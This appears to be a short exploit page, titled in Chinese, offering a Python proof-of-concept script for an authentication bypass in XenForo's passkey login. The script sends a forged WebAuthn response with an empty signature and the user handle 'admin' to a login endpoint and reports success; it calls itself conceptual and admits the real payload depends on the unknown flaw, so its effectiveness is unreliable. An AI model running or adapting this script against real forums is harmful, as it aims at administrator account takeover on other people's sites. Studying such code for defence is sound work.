CVE-2025-71279 XenForo Passkey认证绕过漏洞

# PoC for CVE-2025-71279 (Conceptual) # This script demonstrates the authentication bypass logic. import requests import base64 def exploit(target_url): # The endpoint handling Passkey authentication auth_endpoint = f"{target_url}/account/passkey-authenticate" # Construct a malicious payload that bypasses signature verification # Specific payload parameters depend on the actual implementation flaw payload = { "response": { "clientDataJSON": base64.b64encode(b'{"type":"webauthn.get","challenge":"bypass","origin":"attacker.com"}').decode(), "authenticatorData": base64.b64encode(b"INVALID_DATA_BYPASS").decode(), "signature": "", "userHandle": "admin" } } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2025-71279-Scanner" } try: print(f"[*] Sending exploit payload to {target_url}...") r = requests.post(auth_endpoint, json=payload, headers=headers, timeout=10) if r.status_code == 200 and "login_success" in r.text: print("[+] Exploit successful! Authentication bypassed.") print(f"[+] Response: {r.text[:100]}") else: print(f"[-] Exploit failed. Status code: {r.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "https://example-xenforo.com" exploit(target)